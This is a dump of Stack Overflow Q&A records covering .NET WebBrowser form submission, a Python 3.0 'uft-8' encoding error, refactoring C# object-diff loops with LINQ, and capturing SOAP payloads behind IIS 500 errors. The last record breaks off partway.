<p>I have a html page open on my webbrowser object, I can enter username and password okay, but I'm stuck and don't know how to submit the info. Here is the html code for the username/password submit:</p>
<pre><code><div id="signin">
<h2 class="ir">
<em></em>Sign in</h2>
<form action="/login/" method="post">
<input id="login-url" name="login[url]"
type="hidden" value="/characters/" />
<input id="login-urlError" name="login[urlError]"
type="hidden" value="/account/?error=1" />
<fieldset>
<ul>
<li class="row">
<label for="login-username">
Username <span class="req">*</span>
</label>
<input id="login-username" name="login[username]"
type="text" class="TextBox" value="" />
</li>
<li class="row">
<label for="login-password">
Password <span class="req">*</span>
</label>
<input id="login-password" name="login[password]"
type="password" class="TextBox Password" value="" />
</li>
<li class="but">
<input name="login[submit]" type="image"
class="img" alt="Login &raquo;"
src="/_pub/img/hp/but-login.png" />
</li>
</ul>
</fieldset>
</form>
<p>
<a href="/account/password-reset/">ACCOUNT TROUBLE?</a>
</p>
</div>
</code></pre>
<p>I use the following to enter the username and password:</p>
<pre><code>WebBrowser1.Document.GetElementById("login-username").SetAttribute("Value", Information.txtuser.Text)
WebBrowser1.Document.GetElementById("login-password").SetAttribute("Value", Information.txtpass.Text)
</code></pre>
<p>What should I use to submit the info now? I tried getting the element by name and kept getting index out of range error, index should be -1 or 0, but it was.</p>
<p>Your help would be greatly appriecated!!</p>
|
[
{
"answer_id": 210453,
"author": "cdeszaq",
"author_id": 20770,
"author_profile": "https://Stackoverflow.com/users/20770",
"pm_score": 0,
"selected": false,
"text": "<p>You could try giving an ID to the form, in order to get ahold of it, and then call form.submit() from a Javascript call.</p>\n"
},
{
"answer_id": 281892,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>This seems to work easily.</p>\n\n<pre><code>\nPublic Function LoginAsTech(ByVal UserID As String, ByVal Pass As String) As Boolean\n Dim MyDoc As New mshtml.HTMLDocument\n Dim DocElements As mshtml.IHTMLElementCollection = Nothing\n Dim LoginForm As mshtml.HTMLFormElement = Nothing\n\n ASPComplete = 0\n WB.Navigate(VitecLoginURI)\n BrowserLoop()\n\n MyDoc = WB.Document.DomDocument\n DocElements = MyDoc.getElementsByTagName(\"input\")\n For Each i As mshtml.IHTMLElement In DocElements\n\n Select Case i.name\n Case \"seLogin$UserName\"\n i.value = UserID\n Case \"seLogin$Password\"\n i.value = Pass\n Case Else\n Exit Select\n End Select\n\n frmServiceCalls.txtOut.Text &= i.name & \" : \" & i.value & \" : \" & i.type & vbCrLf\n Next i\n\n 'Old Method for Clicking submit\n 'WB.Document.Forms(\"form1\").InvokeMember(\"submit\")\n\n\n 'Better Method to click submit\n LoginForm = MyDoc.forms.item(\"form1\")\n LoginForm.item(\"seLogin$LoginButton\").click()\n ASPComplete = 0\n BrowserLoop()\n\n\n\n MyDoc= WB.Document.DomDocument\n DocElements = MyDoc.getElementsByTagName(\"input\")\n For Each j As mshtml.IHTMLElement In DocElements\n frmServiceCalls.txtOut.Text &= j.name & \" : \" & j.value & \" : \" & j.type & vbCrLf\n\n Next j\n\n frmServiceCalls.txtOut.Text &= vbCrLf & vbCrLf & WB.Url.AbsoluteUri & vbCrLf\n Return 1\nEnd Function\n</code></pre>\n"
},
{
"answer_id": 517213,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p><code>WebBrowser1.Document.GetElementById(*element id string*).InvokeMember(\"submit\")</code></p>\n"
},
{
"answer_id": 2851138,
"author": "Rafael Pileggi",
"author_id": 343286,
"author_profile": "https://Stackoverflow.com/users/343286",
"pm_score": 2,
"selected": false,
"text": "<p>This is my solution for something similar to this problem:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>System.Windows.Forms.WebBrowser www;\n\nvoid VerificarWebSites()\n{\n www = new System.Windows.Forms.WebBrowser();\n www.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(www_DocumentCompleted_login);\n www.Navigate(new Uri(\"http://www.meusite.com.br\"));\n}\n\nvoid www_DocumentCompleted_login(object sender, WebBrowserDocumentCompletedEventArgs e)\n{ \n www.DocumentCompleted -= new WebBrowserDocumentCompletedEventHandler(www_DocumentCompleted_login);\n www.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(www_DocumentCompleted_logado);\n\n www.Document.Forms[0].All[\"tbx_login\"].SetAttribute(\"value\", \"Gostoso\");\n www.Document.Forms[0].All[\"tbx_senha\"].SetAttribute(\"value\", \"abcdef\");\n www.Document.GetElementById(\"btn_login\").Focus();\n www.Document.GetElementById(\"btn_login\").InvokeMember(\"click\");\n}\n\nvoid www_DocumentCompleted_logado(object sender, WebBrowserDocumentCompletedEventArgs e)\n{\n System.IO.StreamWriter sw = new StreamWriter(\"c:\\\\saida_teste.txt\");\n sw.Write(www.DocumentText);\n sw.Close();\n MessageBox.Show(e.Url.AbsolutePath);\n}\n</code></pre>\n"
},
{
"answer_id": 4658440,
"author": "Nasenbaer",
"author_id": 375368,
"author_profile": "https://Stackoverflow.com/users/375368",
"pm_score": 2,
"selected": false,
"text": "<p>I searched for any solution to not use the \"<code>SendKeys(CHR(13))</code>\" methode I ever used to submit stuff in Browser. In this case I was happy to see your </p>\n\n<pre><code>InvokeMember(\"click\")\n</code></pre>\n\n<p>but dont know why you know that you have to write \"click\" in there.\nAnyway\nThanks</p>\n"
},
{
"answer_id": 12543016,
"author": "Kushawaha Bharat",
"author_id": 1673443,
"author_profile": "https://Stackoverflow.com/users/1673443",
"pm_score": 1,
"selected": false,
"text": "<p>I am quite benefited with <a href=\"http://stackoverflow.com\">http://stackoverflow.com</a>. I was wandering from hours for automatic login and submit from vb application to another web site. Due to help of this site I am able to complete my task</p>\n\n<p>I have to login following web php page.</p>\n\n<pre><code><HTML>\n\n<body>\n<div align=\"center\"><img src=\"banner.png\" height=\"80px\" /></div>\n<script type=\"text/javascript\">\n$(document).ready(function(){\n $(\"#login\").validate();\n $(\"#login_container\").css({'position': 'absolute', \n 'top' : (($(window).height()/2) - $(\"#login_container\").height()/2)+'px'});\n $(\"#login_container\").css({'left' : (($(window).width()/2) - $(\"#login_container\").width()/2)+'px'});\n });\n </script>\n <div id=\"login_container\">\n <form name=\"login\" id=\"login\" action=\"?q=login\" method=\"post\">\n <table>\n <tr><td>Username</td><td><input type=\"text\" name=\"name\" class=\"required\"/></td></tr>\n <tr><td>Password</td><td><input type=\"password\" name=\"password\" class=\"required\"/></td></tr>\n <tr><td></td><td><input type=\"submit\" name=\"subimt\" value=\"Login\" /></td></tr>\n </table>\n </form>\n </div>\n</body>\n</html>\n</code></pre>\n\n<p>For automatic Login and clicking I wrote following VB.Net Code. In <code>form1</code> I placed a button and a Webbrowser control</p>\n\n<pre><code>Imports System.IO\nImports System.Windows.Forms\n\n\n\nPublic Class Form1\n\n\n Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click\n\n\n WebBrowser1.Navigate(\"http://xyz.com\")\n\n\n\n End Sub\n\n Private Sub WebBrowser1_DocumentCompleted(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted\n WebBrowser1.Document.GetElementById(\"name\").SetAttribute(\"Value\", \"bharatlal\")\n WebBrowser1.Document.GetElementById(\"password\").SetAttribute(\"Value\", \"mahato\")\n WebBrowser1.Document.GetElementById(\"subimt\").Focus()\n WebBrowser1.Document.GetElementById(\"subimt\").InvokeMember(\"click\")\n End Sub\nEnd Class\n</code></pre>\n"
},
{
"answer_id": 26445921,
"author": "user2941395",
"author_id": 2941395,
"author_profile": "https://Stackoverflow.com/users/2941395",
"pm_score": 0,
"selected": false,
"text": "<pre><code> Private Sub bt_continue_Click(sender As Object, e As EventArgs) Handles bt_continue.Click\n wb_apple.Document.GetElementById(\"phoneNumber\").Focus()\n wb_apple.Document.GetElementById(\"phoneNumber\").InnerText = tb_phonenumber.Text\n wb_apple.Document.GetElementById(\"reservationCode\").Focus()\n wb_apple.Document.GetElementById(\"reservationCode\").InnerText = tb_regcode.Text\n 'SendKeys.Send(\"{Tab}{Tab}{Tab}\")\n 'For Each Element As HtmlElement In wb_apple.Document.GetElementsByTagName(\"a\")\n 'If Element.OuterHtml.Contains(\"iReserve.sms.submitButtonLabel\") Then\n 'Element.InvokeMember(\"click\")\n 'Exit For\n ' End If\n 'Next Element\n wb_apple.Document.GetElementById(\"smsPageForm\").Focus()\n wb_apple.Document.GetElementById(\"smsPageForm\").InvokeMember(\"submit\")\n\nEnd Sub\n</code></pre>\n"
},
{
"answer_id": 33008097,
"author": "Mohammad Ziya ul haq",
"author_id": 5421644,
"author_profile": "https://Stackoverflow.com/users/5421644",
"pm_score": 0,
"selected": false,
"text": "<p>Just follow two steps for clicking a any button using code.</p>\n<ol>\n<li><p>focus the button or element which you want to click</p>\n<p><code>WebBrowser1.Document.GetElementById("place id here").Focus()</code></p>\n</li>\n<li><p>simulate mouse click using this following code</p>\n<p><code>SendKeys.Send("{ENTER}")</code></p>\n</li>\n</ol>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210342",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
I have a html page open on my webbrowser object, I can enter username and password okay, but I'm stuck and don't know how to submit the info. Here is the html code for the username/password submit:
```
<div id="signin">
<h2 class="ir">
<em></em>Sign in</h2>
<form action="/login/" method="post">
<input id="login-url" name="login[url]"
type="hidden" value="/characters/" />
<input id="login-urlError" name="login[urlError]"
type="hidden" value="/account/?error=1" />
<fieldset>
<ul>
<li class="row">
<label for="login-username">
Username <span class="req">*</span>
</label>
<input id="login-username" name="login[username]"
type="text" class="TextBox" value="" />
</li>
<li class="row">
<label for="login-password">
Password <span class="req">*</span>
</label>
<input id="login-password" name="login[password]"
type="password" class="TextBox Password" value="" />
</li>
<li class="but">
<input name="login[submit]" type="image"
class="img" alt="Login »"
src="/_pub/img/hp/but-login.png" />
</li>
</ul>
</fieldset>
</form>
<p>
<a href="/account/password-reset/">ACCOUNT TROUBLE?</a>
</p>
</div>
```
I use the following to enter the username and password:
```
WebBrowser1.Document.GetElementById("login-username").SetAttribute("Value", Information.txtuser.Text)
WebBrowser1.Document.GetElementById("login-password").SetAttribute("Value", Information.txtpass.Text)
```
What should I use to submit the info now? I tried getting the element by name and kept getting index out of range error, index should be -1 or 0, but it was.
Your help would be greatly appriecated!!
|
`WebBrowser1.Document.GetElementById(*element id string*).InvokeMember("submit")`
|
210,344 |
<p>I just installed the first release candidate of Python 3.0 and got this error after typing:</p>
<pre><code>>>> help('modules foo')
</code></pre>
<pre>[...]
LookupError: unknown encoding: uft-8</pre>
<p>Notice that it says <strong>uft</strong>-8 and not <strong>utf</strong>-8</p>
<p>Is this a py3k specific bug or a misconfiguration on my part? I do not have any other versions of Python installed on this French locale Windows XP SP3 machine.</p>
<p><strong>Edit</strong></p>
<p>A <a href="http://bugs.python.org/issue4135?@ok_message=msg%2074871%20created%3Cbr%3Eissue%204135%20created&@template=item" rel="nofollow noreferrer">bug</a> has been filled by <a href="https://stackoverflow.com/users/22899/alex-coventry">Alex Coventry</a> on October 16th.</p>
|
[
{
"answer_id": 210395,
"author": "Dan Lenski",
"author_id": 20789,
"author_profile": "https://Stackoverflow.com/users/20789",
"pm_score": 0,
"selected": false,
"text": "<p>Looks like a typo in a config file somewhere, whether in the Py3k package or on your machine. You might try installing the stable final Python 2.6 (which supports 3.0 syntax changes with imports from <code>__future__</code>), and if that works you should probably file a bug report.</p>\n"
},
{
"answer_id": 210417,
"author": "Alex Coventry",
"author_id": 1941213,
"author_profile": "https://Stackoverflow.com/users/1941213",
"pm_score": 4,
"selected": true,
"text": "<p>It's not a typo, it's a deliberate error in a test module.</p>\n\n<pre><code>met% pwd\n/home/coventry/src/Python-3.0rc1\nmet% rgrep uft-8 .\n./Lib/test/bad_coding.py:# -*- coding: uft-8 -*-\n./py3k/Lib/test/bad_coding.py:# -*- coding: uft-8 -*-\n</code></pre>\n\n<p>Removing this module causes the <code>help</code> command to fall over in a different way.</p>\n\n<p>It is a bug, however. Someone should file a report.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210344",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23002/"
] |
I just installed the first release candidate of Python 3.0 and got this error after typing:
```
>>> help('modules foo')
```
```
[...]
LookupError: unknown encoding: uft-8
```
Notice that it says **uft**-8 and not **utf**-8
Is this a py3k specific bug or a misconfiguration on my part? I do not have any other versions of Python installed on this French locale Windows XP SP3 machine.
**Edit**
A [bug](http://bugs.python.org/issue4135?@ok_message=msg%2074871%20created%3Cbr%3Eissue%204135%20created&@template=item) has been filled by [Alex Coventry](https://stackoverflow.com/users/22899/alex-coventry) on October 16th.
|
It's not a typo, it's a deliberate error in a test module.
```
met% pwd
/home/coventry/src/Python-3.0rc1
met% rgrep uft-8 .
./Lib/test/bad_coding.py:# -*- coding: uft-8 -*-
./py3k/Lib/test/bad_coding.py:# -*- coding: uft-8 -*-
```
Removing this module causes the `help` command to fall over in a different way.
It is a bug, however. Someone should file a report.
|
210,353 |
<p>I have a class that compares 2 instances of the same objects, and generates a list of their differences. This is done by looping through the key collections and filling a set of other collections with a list of what has changed (this may make more sense after viewing the code below). This works, and generates an object that lets me know what exactly has been added and removed between the "old" object and the "new" one.<br>
My question/concern is this...it is really ugly, with tons of loops and conditions. Is there a better way to store/approach this, without having to rely so heavily on endless groups of hard-coded conditions? </p>
<pre><code> public void DiffSteps()
{
try
{
//Confirm that there are 2 populated objects to compare
if (NewStep.Id != Guid.Empty && SavedStep.Id != Guid.Empty)
{
//<TODO> Find a good way to compare quickly if the objects are exactly the same...hash?
//Compare the StepDoc collections:
OldDocs = SavedStep.StepDocs;
NewDocs = NewStep.StepDocs;
Collection<StepDoc> docstoDelete = new Collection<StepDoc>();
foreach (StepDoc oldDoc in OldDocs)
{
bool delete = false;
foreach (StepDoc newDoc in NewDocs)
{
if (newDoc.DocId == oldDoc.DocId)
{
delete = true;
}
}
if (delete)
docstoDelete.Add(oldDoc);
}
foreach (StepDoc doc in docstoDelete)
{
OldDocs.Remove(doc);
NewDocs.Remove(doc);
}
//Same loop(s) for StepUsers...omitted for brevity
//This is a collection of users to delete; it is the collection
//of users that has not changed. So, this collection also needs to be checked
//to see if the permisssions (or any other future properties) have changed.
foreach (StepUser user in userstoDelete)
{
//Compare the two
StepUser oldUser = null;
StepUser newUser = null;
foreach(StepUser oldie in OldUsers)
{
if (user.UserId == oldie.UserId)
oldUser = oldie;
}
foreach (StepUser newie in NewUsers)
{
if (user.UserId == newie.UserId)
newUser = newie;
}
if(oldUser != null && newUser != null)
{
if (oldUser.Role != newUser.Role)
UpdatedRoles.Add(newUser.Name, newUser.Role);
}
OldUsers.Remove(user);
NewUsers.Remove(user);
}
}
}
catch(Exception ex)
{
string errorMessage =
String.Format("Error generating diff between Step objects {0} and {1}", NewStep.Id, SavedStep.Id);
log.Error(errorMessage,ex);
throw;
}
}
</code></pre>
<hr>
<p>The targeted framework is 3.5.</p>
|
[
{
"answer_id": 210361,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 3,
"selected": false,
"text": "<p>Are you using .NET 3.5? I'm sure LINQ to Objects would make a lot of this <em>much</em> simpler.</p>\n\n<p>Another thing to think about is that if you've got a lot of code with a common pattern, where just a few things change (e.g. \"which property am I comparing?\" then that's a good candidate for a generic method taking a delegate to represent that difference.</p>\n\n<p>EDIT: Okay, now we know we can use LINQ:</p>\n\n<p><strong>Step 1: Reduce nesting<br /></strong>\nFirstly I'd take out one level of nesting. Instead of:</p>\n\n<pre><code>if (NewStep.Id != Guid.Empty && SavedStep.Id != Guid.Empty)\n{\n // Body\n}\n</code></pre>\n\n<p>I'd do:</p>\n\n<pre><code>if (NewStep.Id != Guid.Empty && SavedStep.Id != Guid.Empty)\n{\n return;\n}\n// Body\n</code></pre>\n\n<p>Early returns like that can make code much more readable.</p>\n\n<p><strong>Step 2: Finding docs to delete</strong><br/></p>\n\n<p>This would be much nicer if you could simply specify a key function to Enumerable.Intersect. You can specify an equality comparer, but building one of those is a pain, even with a utility library. Ah well.</p>\n\n<pre><code>var oldDocIds = OldDocs.Select(doc => doc.DocId);\nvar newDocIds = NewDocs.Select(doc => doc.DocId);\nvar deletedIds = oldDocIds.Intersect(newDocIds).ToDictionary(x => x);\nvar deletedDocs = oldDocIds.Where(doc => deletedIds.Contains(doc.DocId));\n</code></pre>\n\n<p><strong>Step 3: Removing the docs</strong><br/>\nEither use the existing foreach loop, or change the properties. If your properties are actually of type List<T> then you could use RemoveAll.</p>\n\n<p><strong>Step 4: Updating and removing users</strong><br /></p>\n\n<pre><code>foreach (StepUser deleted in usersToDelete)\n{\n // Should use SingleOfDefault here if there should only be one\n // matching entry in each of NewUsers/OldUsers. The\n // code below matches your existing loop.\n StepUser oldUser = OldUsers.LastOrDefault(u => u.UserId == deleted.UserId);\n StepUser newUser = NewUsers.LastOrDefault(u => u.UserId == deleted.UserId);\n\n // Existing code here using oldUser and newUser\n}\n</code></pre>\n\n<p>One option to simplify things even further would be to implement an IEqualityComparer using UserId (and one for docs with DocId).</p>\n"
},
{
"answer_id": 210370,
"author": "Troy Howard",
"author_id": 19258,
"author_profile": "https://Stackoverflow.com/users/19258",
"pm_score": 0,
"selected": false,
"text": "<p>What framework are you targeting? (This will make a difference in the answer.)</p>\n\n<p>Why is this a void function? </p>\n\n<p>Shouldn't the signature look like:</p>\n\n<pre><code>DiffResults results = object.CompareTo(object2);\n</code></pre>\n"
},
{
"answer_id": 210412,
"author": "Duncan",
"author_id": 25035,
"author_profile": "https://Stackoverflow.com/users/25035",
"pm_score": 2,
"selected": false,
"text": "<p>As you are using at least .NET 2.0 I recommend implement Equals and GetHashCode ( <a href=\"http://msdn.microsoft.com/en-us/library/7h9bszxx.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/7h9bszxx.aspx</a> ) on StepDoc. As a hint to how it can clean up your code you could have something like this:</p>\n\n<pre><code> Collection<StepDoc> docstoDelete = new Collection<StepDoc>();\nforeach (StepDoc oldDoc in OldDocs)\n {\n bool delete = false;\n foreach (StepDoc newDoc in NewDocs)\n {\n if (newDoc.DocId == oldDoc.DocId)\n {\n delete = true;\n }\n }\n if (delete) docstoDelete.Add(oldDoc);\n }\n foreach (StepDoc doc in docstoDelete)\n {\n OldDocs.Remove(doc);\n NewDocs.Remove(doc);\n }\n</code></pre>\n\n<p>with this:</p>\n\n<pre><code>oldDocs.FindAll(newDocs.Contains).ForEach(delegate(StepDoc doc) {\n oldDocs.Remove(doc);\n newDocs.Remove(doc);\n });\n</code></pre>\n\n<p>This assumes oldDocs is a List of StepDoc.</p>\n"
},
{
"answer_id": 210434,
"author": "Jeff Kotula",
"author_id": 1382162,
"author_profile": "https://Stackoverflow.com/users/1382162",
"pm_score": 0,
"selected": false,
"text": "<p>If you want to hide the traversal of the tree-like structure you could create an IEnumerator subclass that hides the \"ugly\" looping constructs and then use CompareTo interface:</p>\n\n<pre><code>MyTraverser t =new Traverser(oldDocs, newDocs);\n\nforeach (object oldOne in t)\n{\n if (oldOne.CompareTo(t.CurrentNewOne) != 0)\n {\n // use RTTI to figure out what to do with the object\n }\n}\n</code></pre>\n\n<p>However, I'm not at all sure that this particularly simplifies anything. I don't mind seeing the nested traversal structures. The code is nested, but not complex or particularly difficult to understand.</p>\n"
},
{
"answer_id": 210511,
"author": "Dave",
"author_id": 28757,
"author_profile": "https://Stackoverflow.com/users/28757",
"pm_score": 1,
"selected": false,
"text": "<p>If both StepDocs and StepUsers implement IComparable<T>, and they are stored in collections that implement IList<T>, then you can use the following helper method to simplify this function. Just call it twice, once with StepDocs, and once with StepUsers. Use the beforeRemoveCallback to implement the special logic used to do your role updates. I'm assuming the collections don't contain duplicates. I've left out argument checks.</p>\n\n<pre><code>public delegate void BeforeRemoveMatchCallback<T>(T item1, T item2);\n\npublic static void RemoveMatches<T>(\n IList<T> list1, IList<T> list2, \n BeforeRemoveMatchCallback<T> beforeRemoveCallback) \n where T : IComparable<T>\n{\n // looping backwards lets us safely modify the collection \"in flight\" \n // without requiring a temporary collection (as required by a foreach\n // solution)\n for(int i = list1.Count - 1; i >= 0; i--)\n {\n for(int j = list2.Count - 1; j >= 0; j--)\n {\n if(list1[i].CompareTo(list2[j]) == 0)\n {\n // do any cleanup stuff in this function, like your role assignments\n if(beforeRemoveCallback != null)\n beforeRemoveCallback(list[i], list[j]);\n\n list1.RemoveAt(i);\n list2.RemoveAt(j);\n break;\n }\n }\n }\n} \n</code></pre>\n\n<p>Here is a sample beforeRemoveCallback for your updates code:</p>\n\n<pre><code>BeforeRemoveMatchCallback<StepUsers> callback = \ndelegate(StepUsers oldUser, StepUsers newUser)\n{\n if(oldUser.Role != newUser.Role)\n UpdatedRoles.Add(newUser.Name, newUser.Role);\n};\n</code></pre>\n"
},
{
"answer_id": 1707368,
"author": "Sahil Vashishat",
"author_id": 207733,
"author_profile": "https://Stackoverflow.com/users/207733",
"pm_score": 0,
"selected": false,
"text": "<p>Using multiple lists in foreach is easy. Do this:</p>\n\n<pre><code>foreach (TextBox t in col)\n{\n foreach (TextBox d in des) // here des and col are list having textboxes\n {\n // here remove first element then and break it\n RemoveAt(0);\n break;\n }\n}\n</code></pre>\n\n<p>It works similar as it is foreach (TextBox t in col && TextBox d in des)</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210353",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18449/"
] |
I have a class that compares 2 instances of the same objects, and generates a list of their differences. This is done by looping through the key collections and filling a set of other collections with a list of what has changed (this may make more sense after viewing the code below). This works, and generates an object that lets me know what exactly has been added and removed between the "old" object and the "new" one.
My question/concern is this...it is really ugly, with tons of loops and conditions. Is there a better way to store/approach this, without having to rely so heavily on endless groups of hard-coded conditions?
```
public void DiffSteps()
{
try
{
//Confirm that there are 2 populated objects to compare
if (NewStep.Id != Guid.Empty && SavedStep.Id != Guid.Empty)
{
//<TODO> Find a good way to compare quickly if the objects are exactly the same...hash?
//Compare the StepDoc collections:
OldDocs = SavedStep.StepDocs;
NewDocs = NewStep.StepDocs;
Collection<StepDoc> docstoDelete = new Collection<StepDoc>();
foreach (StepDoc oldDoc in OldDocs)
{
bool delete = false;
foreach (StepDoc newDoc in NewDocs)
{
if (newDoc.DocId == oldDoc.DocId)
{
delete = true;
}
}
if (delete)
docstoDelete.Add(oldDoc);
}
foreach (StepDoc doc in docstoDelete)
{
OldDocs.Remove(doc);
NewDocs.Remove(doc);
}
//Same loop(s) for StepUsers...omitted for brevity
//This is a collection of users to delete; it is the collection
//of users that has not changed. So, this collection also needs to be checked
//to see if the permisssions (or any other future properties) have changed.
foreach (StepUser user in userstoDelete)
{
//Compare the two
StepUser oldUser = null;
StepUser newUser = null;
foreach(StepUser oldie in OldUsers)
{
if (user.UserId == oldie.UserId)
oldUser = oldie;
}
foreach (StepUser newie in NewUsers)
{
if (user.UserId == newie.UserId)
newUser = newie;
}
if(oldUser != null && newUser != null)
{
if (oldUser.Role != newUser.Role)
UpdatedRoles.Add(newUser.Name, newUser.Role);
}
OldUsers.Remove(user);
NewUsers.Remove(user);
}
}
}
catch(Exception ex)
{
string errorMessage =
String.Format("Error generating diff between Step objects {0} and {1}", NewStep.Id, SavedStep.Id);
log.Error(errorMessage,ex);
throw;
}
}
```
---
The targeted framework is 3.5.
|
Are you using .NET 3.5? I'm sure LINQ to Objects would make a lot of this *much* simpler.
Another thing to think about is that if you've got a lot of code with a common pattern, where just a few things change (e.g. "which property am I comparing?" then that's a good candidate for a generic method taking a delegate to represent that difference.
EDIT: Okay, now we know we can use LINQ:
**Step 1: Reduce nesting**
Firstly I'd take out one level of nesting. Instead of:
```
if (NewStep.Id != Guid.Empty && SavedStep.Id != Guid.Empty)
{
// Body
}
```
I'd do:
```
if (NewStep.Id != Guid.Empty && SavedStep.Id != Guid.Empty)
{
return;
}
// Body
```
Early returns like that can make code much more readable.
**Step 2: Finding docs to delete**
This would be much nicer if you could simply specify a key function to Enumerable.Intersect. You can specify an equality comparer, but building one of those is a pain, even with a utility library. Ah well.
```
var oldDocIds = OldDocs.Select(doc => doc.DocId);
var newDocIds = NewDocs.Select(doc => doc.DocId);
var deletedIds = oldDocIds.Intersect(newDocIds).ToDictionary(x => x);
var deletedDocs = oldDocIds.Where(doc => deletedIds.Contains(doc.DocId));
```
**Step 3: Removing the docs**
Either use the existing foreach loop, or change the properties. If your properties are actually of type List<T> then you could use RemoveAll.
**Step 4: Updating and removing users**
```
foreach (StepUser deleted in usersToDelete)
{
// Should use SingleOfDefault here if there should only be one
// matching entry in each of NewUsers/OldUsers. The
// code below matches your existing loop.
StepUser oldUser = OldUsers.LastOrDefault(u => u.UserId == deleted.UserId);
StepUser newUser = NewUsers.LastOrDefault(u => u.UserId == deleted.UserId);
// Existing code here using oldUser and newUser
}
```
One option to simplify things even further would be to implement an IEqualityComparer using UserId (and one for docs with DocId).
|
210,354 |
<p>I have a .net web-service hosted in IIS 6.0 that periodically fails with an http 500 because a client connects to it with data that does not match the wsdl.</p>
<p>Things like having an element specified in a method as being of type int and the inbound xml element contains a decimal number.</p>
<p>WSDL element definition:</p>
<pre><code><s:element minOccurs="1"
maxOccurs="1"
form="unqualified" name="ItemCount" type="s:int" >
</code></pre>
<p>provided element:</p>
<pre><code><ItemCount>1.0</ItemCount>
</code></pre>
<p>This leaves a 500 error in the iis logs but no information of the soap fault returned or the input data that caused the error.</p>
<p>Currently I have diagnosed several problems with data provided by capturing everything using wireshark but I'd like to know of other options that a perhaps less intrusive.</p>
<p>Is there any way of capturing the data being sent that is causing the 500 errors (hopefully ONLY capturing the data when the 500 occurs)? Possibly by:</p>
<ul>
<li>Configuring IIS</li>
<li>Configuring the web-service</li>
<li>Changing the code of the web-service</li>
</ul>
<p><strong>EDIT</strong> after testing answer provided by tbreffni</p>
<p>The answer that best fitted what I was after tbreffni's - there were several other good responses but the answer allows capture of the payload causing deserialization errors without running something like fiddler or wireshark.</p>
<p>Info on actually getting a SOAP extension to run is a little light so I've included below the steps I found necessary:</p>
<ul>
<li>Build the SOAP extension as a .dll as per the <a href="http://msdn.microsoft.com/en-us/library/system.web.services.protocols.soapextension.aspx" rel="nofollow noreferrer">MSDN</a> article </li>
<li>Add the .dll to the bin directory for the service to trace</li>
<li><p>In the web.config of the service to trace add the following to the webServices section, replacing the SOAPTraceExtension.TraceExtension and SOAPTraceExtension to match your extension.</p>
<p><webServices><br>
<soapExtensionTypes><br>
<add type="SOAPTraceExtension.TraceExtension, SOAPTraceExtension" priority="1" group="0"/><br>
</soapExtensionTypes><br>
</webServices> </p></li>
</ul>
|
[
{
"answer_id": 210445,
"author": "Tony Lee",
"author_id": 5819,
"author_profile": "https://Stackoverflow.com/users/5819",
"pm_score": 2,
"selected": false,
"text": "<p>I'd try <a href=\"http://msdn.microsoft.com/en-us/library/bb250446(VS.85).aspx\" rel=\"nofollow noreferrer\">fiddler</a> or <a href=\"http://www.fiddlertool.com/\" rel=\"nofollow noreferrer\">here</a>. Not specifically for web services and typically for client side, it can be used as a reverse <a href=\"http://www.fiddlertool.com/Fiddler/help/reverseproxy.asp\" rel=\"nofollow noreferrer\">proxy</a>.</p>\n\n<p>It's very script-able and \"request/response\" aware so I think it likely you could get it to only capture 500 errors.</p>\n"
},
{
"answer_id": 210493,
"author": "David Hall",
"author_id": 2660,
"author_profile": "https://Stackoverflow.com/users/2660",
"pm_score": 0,
"selected": false,
"text": "<p>After some thinking of my own, the current best solution I can see is to throw together a light weight facade web-service that accepts an xml blob as input. </p>\n\n<p>I can then get my facade service to call the real service with the input data provided by the client and then:</p>\n\n<ul>\n<li>handle any errors, logging the source data and the returned soap fault</li>\n<li>Pass back to the client the responses from good data</li>\n</ul>\n\n<p>This would only be a temporary measure (I'm strongly opposed to web-services that are not explicit about the XML they accept) but it would perhaps give me more leverage to get over the hump of diagnosing errors like this in production where the client connecting to the web-service is not honouring the wsdl or able to read soap faults returned.</p>\n\n<p>Thankfully in this case there is only one party posting to the web-service - the packet sniffer methods (fiddler or wireshark) are feasible but the lack of logging for 500 errors did get me thinking \"what nicer options are there?\".</p>\n"
},
{
"answer_id": 210536,
"author": "Quantenmechaniker",
"author_id": 28727,
"author_profile": "https://Stackoverflow.com/users/28727",
"pm_score": 1,
"selected": false,
"text": "<p>I never used this myself, but I just found this in MSDN: <a href=\"http://msdn.microsoft.com/en-us/library/bb885203.aspx\" rel=\"nofollow noreferrer\">Enabling Tracing in ASP.NET Web Services</a> </p>\n"
},
{
"answer_id": 220334,
"author": "tbreffni",
"author_id": 637,
"author_profile": "https://Stackoverflow.com/users/637",
"pm_score": 3,
"selected": true,
"text": "<p>You could implement a global exception handler in your web service that logs the details of any exceptions that occur. This is useful for your current problem, plus it's very useful in a production environment as it gives you an insight into how many exceptions are being thrown and by what code.</p>\n\n<p>To implement an exception handler for a .Net web service, you need to create a SOAP extension. See the following <a href=\"http://msdn.microsoft.com/en-us/library/system.web.services.protocols.soapextension.aspx\" rel=\"nofollow noreferrer\">MSDN Article</a> for an example. I've used this approach in several production web services, and it's been invaluable in determining what issues are occurring and where.</p>\n"
},
{
"answer_id": 220356,
"author": "jezell",
"author_id": 27453,
"author_profile": "https://Stackoverflow.com/users/27453",
"pm_score": 0,
"selected": false,
